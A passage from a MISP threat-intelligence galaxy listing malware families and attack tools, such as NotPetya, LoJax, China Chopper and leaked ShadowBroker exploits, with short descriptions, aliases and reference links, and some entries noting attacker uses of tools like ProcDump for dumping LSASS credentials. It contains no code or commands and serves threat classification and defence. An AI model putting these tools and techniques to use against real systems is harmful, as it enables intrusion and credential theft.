The tag is: `misp-galaxy:tool="xDedic RDP Patch"`

*Table 12017. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**xDedic SysScan**

Used to profile servers for potential sale on the dark net

The tag is: `misp-galaxy:tool="xDedic SysScan"`

*Table 12018. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Wmiexec**

A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).

The tag is: *misp-galaxy:tool="Wmiexec"*

**Table 12019. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RDPWrap**

Allows a user to be logged in both locally and remotely at the same time.

The tag is: *misp-galaxy:tool="RDPWrap"*

**Table 12020. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**PsExec**

A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.

The tag is: *misp-galaxy:tool="PsExec"*

**View relationships graph**

PsExec has relationships with:

- similar: *misp-galaxy:mitre-tool="PsExec - S0029"* with estimative-language:likelihood-probability="likely"

**Table 12021. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**PAExec**

A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service's name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.

The tag is: `misp-galaxy:tool="PAExec"`

**Table 12022. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**KEYMARBLE**

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.

The tag is: `misp-galaxy:tool="KEYMARBLE"`

**View relationships graph**

KEYMARBLE has relationships with:

- similar: `misp-galaxy:malpedia="KEYMARBLE"` with `estimative-language:likelihood-probability="likely"`

**Table 12023. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-221A">https://www.us-cert.gov/ncas/analysis-reports/AR18-221A</a></td>
<td></td>
</tr>
</tbody>
</table>

**BISKVIT**

The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word “biscuit”. Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.

The tag is: `misp-galaxy:tool="BISKVIT"`

**Table 12024. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Sirefef

This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including:
- Downloading and running other files
- Contacting remote hosts
- Disabling security features

Members of the family can also change search results, which can generate money for the hackers who use Sirefef.

The tag is: **misp-galaxy:tool="Sirefef"**

Sirefef is also known as:

- Win32/Sirefef

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker's control.

The tag is: **misp-galaxy:tool="MagentoCore Malware"**

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian
organizations believed to have assisted the Russian state-sponsored actors with the operation.

The tag is: \textit{misp-galaxy:tool="NotPetya"}

NotPetya is also known as:

- Not Petya

\textit{View relationships graph}

NotPetya has relationships with:

- similar: \textit{misp-galaxy:ransomware="Bad Rabbit"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:malpedia="EternalPetya"} with \textit{estimative-language:likelihood-probability="likely"}

\textit{Table 12027. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>\url{<a href="https://www.cfr.org/interactive/cyber-operations/notpetya%7D">https://www.cfr.org/interactive/cyber-operations/notpetya}</a></td>
</tr>
</tbody>
</table>

\textbf{Xbash}

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: \textit{misp-galaxy:tool="Xbash"}

\textit{View relationships graph}

Xbash has relationships with:

- similar: \textit{misp-galaxy:malpedia="Xbash"} with \textit{estimative-language:likelihood-probability="almost-certain"}

\textit{Table 12028. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
LoJax

rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.

The tag is: misp-galaxy:tool="LoJax"

View relationships graph

LoJax has relationships with:

• similar: misp-galaxy:malpedia="LoJax" with estimative-language:likelihood-probability="almost-certain"

Table 12029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Chainshot

The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.

The tag is: misp-galaxy:tool="Chainshot"

View relationships graph

Chainshot has relationships with:

• similar: misp-galaxy:malpedia="Chainshot" with estimative-language:likelihood-probability="almost-certain"

Table 12030. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other
cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

Table 12031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FASTCash**

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:tool="FASTCash"*

View relationships graph

FASTCash has relationships with:

- similar: *misp-galaxy:malpedia="FastCash"* with *estimative-language:likelihood-probability="almost-certain"*

**Zebrocy**

Zebrocy is a tool used by APT28, which has been observed since late 2015. The communications module used by Zebrocy transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.

The tag is: *misp-galaxy:tool="Zebrocy"*

Zebrocy is also known as:

- Zekapab

View relationships graph

Zebrocy has relationships with:

- similar: *misp-galaxy:malpedia="Zebrocy"* with *estimative-language:likelihood-probability="almost-certain"*

Table 12032. Table References
CoalaBot

The tag is: `misp-galaxy:tool="CoalaBot"`

View relationships graph

CoalaBot has relationships with:

- similar: `misp-galaxy:malpedia="CoalaBot"` with `estimative-language:likelihood-probability="almost-certain"`

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims. DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeedleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: `misp-galaxy:tool="DanderSpritz"`

DanderSpritz is also known as:

- Dander Spritz

DarkPulsar

DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.
The tag is: `misp-galaxy:tool="DarkPulsar"`

DarkPulsar is also known as:

- Dark Pulsar

**View relationships graph**

DarkPulsar has relationships with:

- similar: `misp-galaxy:malpedia="DarkPulsar"` with estimative-language:likelihood-probability="almost-certain"

Table 12035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/darkpulsar/88199/">https://securelist.com/darkpulsar/88199/</a></td>
</tr>
</tbody>
</table>

**EASYFUN**

EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 WordClient / IIS6.0 exploit

The tag is: `misp-galaxy:tool="EASYFUN"`

Table 12036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**ETCETERABLUE**

an exploit for IMail 7.04 to 8.05

The tag is: `misp-galaxy:tool="ETCETERABLUE"`

Table 12037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

**EXPIREDPAYCHECK**

IIS6 exploit

The tag is: `misp-galaxy:tool="EXPIREDPAYCHECK"`

Table 12038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>
EAGERLEVER

NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release

The tag is: misp-galaxy:tool="EAGERLEVER"

Table 12039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

ESSAYKEYNOTE

The tag is: misp-galaxy:tool="ESSAYKEYNOTE"

Table 12040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

EVADEFRED

The tag is: misp-galaxy:tool="EVADEFRED"

Table 12041. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

NAMEDPIPETOUCH

Utility to test for a predefined list of named pipes, mostly AV detection. User can add checks for custom named pipes.

The tag is: misp-galaxy:tool="NAMEDPIPETOUCH"

Table 12042. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/misterch0c/shadowbroker">https://github.com/misterch0c/shadowbroker</a></td>
</tr>
</tbody>
</table>

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory.
without writing any file on disk, where an antivirus engine could detect it.

The tag is: *misp-galaxy:tool=“GhostMiner”*

**View relationships graph**

GhostMiner has relationships with:

- similar: *misp-galaxy:malpedia=“GhostMiner”* with estimative-language:likelihood-probability=“almost-certain”

*Table 12043. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**August**

August contains stealing functionality targeting credentials and sensitive documents from the infected computer.

The tag is: *misp-galaxy:tool=“August”*

August is also known as:

- August Stealer

*Table 12044. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**China Chopper**

China Chopper is a publicly available, well-documented web shell, in widespread use since 2012.

The tag is: *misp-galaxy:tool=“China Chopper”*

*Table 12045. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**PNG Dropper**

The PNG_dropper family primarily uses a modified version of the publicly available tool
JPEGView.exe (version 1.0.32.1 – both x86 and x64 bit versions). Carbon Black Threat Research also observed where PNG_dropper malware was seen compiled into a modified version of the 7-Zip File Manager Utility (version 9.36.0.0 – x64 bit).

The tag is: *misp-galaxy:tool="PNG Dropper"

PNG Dropper is also known as:

- PNG_Dropper
- PNGDropper

Table 12046. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Rotexy**

A mobile spyware that turned into a banking trojan with ransomware capabilities managed to launch over 70,000 attacks in the course of just three months.

The tag is: *misp-galaxy:tool="Rotexy"

Rotexy is also known as:

- SMSThief

Table 12047. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KingMiner**

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: *misp-galaxy:tool="KingMiner"

View relationships graph
KingMiner has relationships with:

- similar: misp-galaxy:malpedia="Kingminer" with estimative-language:likelihood-probability="almost-certain"

**Taurus**

Toolkit - building kit for crafting documents used to deliver attacks

The tag is: `misp-galaxy:tool="Taurus"`

**Terra Loader**

The tag is: `misp-galaxy:tool="Terra Loader"`

**SpicyOmelette**

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: `misp-galaxy:tool="SpicyOmelette"`
LamePyre

When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker’s command and control (C2) server.

The tag is: `misp-galaxy:tool="LamePyre"`

LamePyre is also known as:

- OSX.LamePyre

Table 12052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DarthMiner

The tag is: `misp-galaxy:tool="DarthMiner"`

View relationships graph

DarthMiner has relationships with:

- similar: `misp-galaxy:malpedia="DarthMiner"` with `estimative-language:likelihood-probability="almost-certain"

Table 12053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

OSX.BadWord

The tag is: `misp-galaxy:tool="OSX.BadWord"`

Table 12054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

The tag is: misp-galaxy:tool="OSX/Shlayer"

### Bushaloder

The tag is: misp-galaxy:tool="Bushaloder"

### ANEL

Backdoor

The tag is: misp-galaxy:tool="ANEL"

ANEL is also known as:

- UPPERCUT

View relationships graph

ANEL has relationships with:

- similar: misp-galaxy:malpedia="Anel" with estimative-language:likelihood-probability="almost-certain"
BabyShark

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: `misp-galaxy:tool="BabyShark"`

StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

The tag is: `misp-galaxy:tool="StealthWorker"`
SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

The tag is: *misp-galaxy:tool="SLUB Backdoor"

Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

The tag is: *misp-galaxy:tool="Carp Downloader"

EVILNUM

EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

The tag is: *misp-galaxy:tool="EVILNUM"
Brushaloader

Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.

The tag is: `misp-galaxy:tool="Brushaloader"`

Karkoff

In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.

The tag is: `misp-galaxy:tool="Karkoff"`
KimJongRAT

We conclude that this RAT/stealer is efficient and was also really interesting to analyse. Furthermore, the creator made efforts to look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant with the name of each brother. After some searches using Google, we identified an old variant of this malware here: [http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html](http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html). The code of the malware available on the blog is close to our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixated on the Kim family... The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the Gmail mailbox is laoshi135.zhang and the secret question of this account is in Korean too. We don’t know if the malware truly comes from Korea. However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"*

**View relationships graph**

KimJongRAT has relationships with:

- similar: *misp-galaxy:malpedia="KimJongRat"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 12065. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf">https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf</a></td>
</tr>
</tbody>
</table>

Cowboy

Based on our research, it appears the malware author calls the encoded secondary payload “Cowboy” regardless of what malware family is delivered.

The tag is: *misp-galaxy:tool="Cowboy"*

*Table 12066. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

JasperLoader

JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and...
flexibility in mind, as evidenced in later stages of the infection process.

The tag is: misp-galaxy:tool="JasperLoader"

View relationships graph

JasperLoader has relationships with:

- similar: misp-galaxy:malpedia="JasperLoader" with estimative-language:likelihood-probability="almost-certain"

Table 12067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html?m=1">https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html?m=1</a></td>
</tr>
</tbody>
</table>

**Scranos**

The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.

The tag is: misp-galaxy:tool="Scranos"

View relationships graph

Scranos has relationships with:

- similar: misp-galaxy:malpedia="Scranos" with estimative-language:likelihood-probability="almost-certain"

Table 12068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://techcrunch.com/2019/04/16/scranos-rootkit-passwords-payments/?guccounter=1&amp;guce_referrer_us=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_refererrer_cs=MrGSn18TmNoWovpLbekFYA">https://techcrunch.com/2019/04/16/scranos-rootkit-passwords-payments/?guccounter=1&amp;guce_referrer_us=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_refererrer_cs=MrGSn18TmNoWovpLbekFYA</a></td>
</tr>
</tbody>
</table>

**Reaver**

Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen
by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

The tag is: `misp-galaxy:tool="Reaver"`

View relationships graph

Reaver has relationships with:

- similar: `misp-galaxy:tool="SunOrcal"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:tool="SURTR"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:malpedia="Reaver"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-new-malware-with-ties-to-sunorcal-discovered/">https://unit42.paloaltonetworks.com/unit42-new-malware-with-ties-to-sunorcal-discovered/</a></td>
</tr>
</tbody>
</table>

**SURTR**

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: `misp-galaxy:tool="SURTR"`

View relationships graph

SURTR has relationships with:

- similar: `misp-galaxy:tool="Reaver"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:tool="SunOrcal"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:malpedia="surtr"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: *misp-galaxy:tool="SunOrcal"

View relationships graph

SunOrcal has relationships with:

- similar: *misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: *misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: *misp-galaxy:malpedia="SunOrcal" with estimative-language:likelihood-probability="almost-certain"

Table 12071. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-sunorcal-adds-github-steganography-repertoire-expands-vietnam-myanmar/">https://unit42.paloaltonetworks.com/unit42-sunorcal-adds-github-steganography-repertoire-expands-vietnam-myanmar/</a></td>
</tr>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/trojan-variants/sunorcal">https://www.cyber.nj.gov/threat-profiles/trojan-variants/sunorcal</a></td>
</tr>
</tbody>
</table>

Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

The tag is: *misp-galaxy:tool="Bookworm"
Amavaldo

We named the malware family described in the rest of this blog post Amavaldo. This family is still in active development – the latest version we have observed (10.7) has a compilation timestamp of June 10th, 2019.

The tag is: misp-galaxy:tool="Amavaldo"

TVSPY

hacker going by the handle Mr. Burns. He also created something similar called RMS, which behaves very much like the TVSPY builder. “RMS/TVSPY continues to be developed, with a new version being posted by the developer/reseller on a regular basis,” Damballa researchers noted. “In fact, the legitimate RMS version developed by TektonIT and the version posted in criminal forums appear to be identical. TVSPY seems to be merely a modification of RMS to utilize TeamViewer infrastructure and a command-and-control interface manageable through the Web.

The tag is: misp-galaxy:tool="TVSPY"

TVSPY is also known as:

- TVRAT
- SpY-Agent
- teamspy
COMpfun

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn’t identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: misp-galaxy:tool="COMpfun"

View relationships graph

COMpfun has relationships with:

• similar: misp-galaxy:malpedia="COMpfun" with estimative-language:likelihood-probability="almost-certain"

Table 12075. Table References

Links

https://securelist.com/compfun-successor-reductor/93633/

Reductor

We called these new modules ‘Reductor’ after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor’s authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we’re quite sure the new malware was developed by the COMPfun authors.

The tag is: misp-galaxy:tool="Reductor"

Table 12076. Table References

Links

https://securelist.com/compfun-successor-reductor/93633/

ProcDump

Legitimate tool - command-line tool used to monitor a running process and dump memory depending on custom criteria. The attackers use this tool to dump the LSASS process to gather WINDOWS credentials hashes

The tag is: misp-galaxy:tool="ProcDump"
CertMig

Legitimate tool - command-line tool used to import and export certificates on a machine. The attackers use this tool to gather credentials used for VPN authentication to the clients' networks.

The tag is: `misp-galaxy:tool="CertMig"`

Netscan

Legitimate tool - tool used to scan IPv4/IPv6 networks and remotely execute PowerShell commands.

The tag is: `misp-galaxy:tool="Netscan"`

ShadowHammer

Malware embedded in Asus Live Update in 2018. ShadowHammer triggers its malicious behavior only if the computer it is running on has a network adapter with the MAC address whitelisted by the attacker.

The tag is: `misp-galaxy:tool="ShadowHammer"`

View relationships graph

ShadowHammer has relationships with:

- similar: `misp-galaxy:malpedia="shadowhammer"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12077. Table References

Links


DePriMon

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: `misp-galaxy:tool="DePriMon"`

View relationships graph

DePriMon has relationships with:

- similar: `misp-galaxy:malpedia="Deprimon"` with `estimative-language:likelihood-probability="almost-certain"`
Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: `misp-galaxy:tool="Private Internet Access"`

Private Internet Access is also known as:

- PIA

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: `misp-galaxy:tool="Netcat"`

NBTScan

